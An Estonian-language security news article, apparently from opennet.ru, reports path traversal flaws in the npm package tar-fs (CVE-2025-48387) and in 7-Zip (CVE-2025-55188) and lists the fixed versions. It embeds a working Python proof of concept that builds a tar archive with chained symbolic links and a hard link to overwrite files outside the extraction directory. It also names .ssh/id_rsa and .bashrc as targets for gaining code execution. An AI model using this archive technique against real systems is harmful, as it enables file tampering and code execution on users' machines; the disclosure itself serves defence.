Võrguhaavatavused tar-fs ja 7-Zip, mis võimaldavad faile kirjutada põhikataloogist väljapoole

NPM-pakendis tar-fs on tuvastatud haavatavus (CVE-2025-48387), mis võimaldab spetsiaalselt vormistatud tar-arhiivi väljavõtmisel kirjutada faile igasse failisüsteemi ossa, mitte ainult desarhiveerimise sihtkausta (nii kaugele, kui praeguse kasutaja ligipääsuõigused lubavad). Haavatavust saab kasutada ka olemasolevate failide ülekirjutamiseks, näiteks võib kodukaustas asuvaid faile, nagu „.ssh/id_rsa” või „.bashrc”, kasutada süsteemis oma koodi käivitamise korraldamiseks.

Probleemile on määratud kriitiline ohtlikkuse tase, arvestades, et pakett tar-fs omab 23 miljonit laadimist nädalas ja seda kasutatakse sõltuvusena 1155 projektis. Haavatavus on kõrvaldatud versioonides 3.0.9, 2.1.3 ja 1.16.5, mis loodi mais, kuid teave haavatavuse kohta avaldati alles peaaegu 3 kuud hiljem.

Haavatavus on põhjustatud ebapiisavatest kontrollidest arhiivis olevate sümboolsete ja kõvade linkide osas, et vältida nende väljumist desarhiveerimise sihtkaustast. Kontrollide ümbersuunamiseks kasutatakse kahte sümboolset linki: esimene viitab arhiivi juurkaustale ("."), teine ​​kuid tekib esimese sümboolse lingi suhtes ja kasutab nimes sümboleid "../" väljumiseks baaskatalogist. Näiteks viitab esimene link „noop/noop/noop” „.”-le ja teine „noop/noop/noop/../../../../..” lahtiseletatuna kui „./../../../../”. Failide arhivis ülekirjutamise korraldamiseks võib luua kõva lingi, mis viitab välisele failile teise sümboolse lingi suhtes. import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

Sarnane haavatavus (CVE-2025-55188) leiti arhiivija 7-Zip'is. Failide kirjutamiseks väljapoole põhikausta võib 7-Zip'is kasutada ka sümboolseid linke, mille failitees on järjestus «.. /». Probleemi saab ära kasutada, kui 7-Zip'iga dekompresseerida mis tahes arhiive, mis toetavad sümboolseid linke, näiteks zip, tar, 7z ja rar. Probleem on lahendatud 7-Zip'i versioonis 25.01.

Allikas: opennet.ru